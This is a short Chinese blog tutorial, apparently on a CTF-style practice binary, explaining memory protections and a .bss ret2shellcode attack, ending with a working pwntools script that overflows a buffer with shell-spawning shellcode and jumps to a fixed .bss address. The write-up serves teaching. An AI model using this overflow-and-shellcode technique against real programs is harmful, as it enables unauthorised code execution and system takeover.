.bss漏洞


.bss漏洞


何为bss段

​ 先来了解一下保护机制:

  • Arch:显示文件的位数
  • Stack:是否开启栈段保护,这个会在stack中开启一段canary空间,在结束栈帧时会检查是否被覆盖若覆盖则会强行结束程序,碰到时我们需要绕过
  • NX:开启时会关闭除了代码段(text)之外的所有空间的可执行权限
  • PIE:随机化ELF镜像地址(text,data,bss)
  • RWX:是否存在权限为7的函数数据段
  • ASLR:表示机器里是否开了core虚拟空间的随机分配,包括栈。

​ 总结一下.bss段是一段存放静态地址,全局变量的内存空间,当没有后门函数时,我们可以尝试利用.bss漏洞来进行攻击,一般PIE没开启时我们可以尝试攻击。


利用背景

​ 比如这一段代码,它把s的值copy到buf2的位置,同时buf2的位置刚好位于.bss段。


攻击过程

​ 看一下覆盖空间(垃圾数据大小),不知为啥最近一直IDAPRO的空间大小显示不对,但还是要以gdb的为准,gdb是一个动态申请内存调试的工具,这个更加准确,接下来根据内存覆盖就可以了。


expolit

from pwn import *
io = process("./ret2shellcode")
buf2 = 0x0804A080
payload = asm(shellcraft.sh()).ljust(112,b'A') + p32(buf2)
io.sendline(payload)
io.interactive()


文章作者: Dydong
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Dydong !
  目录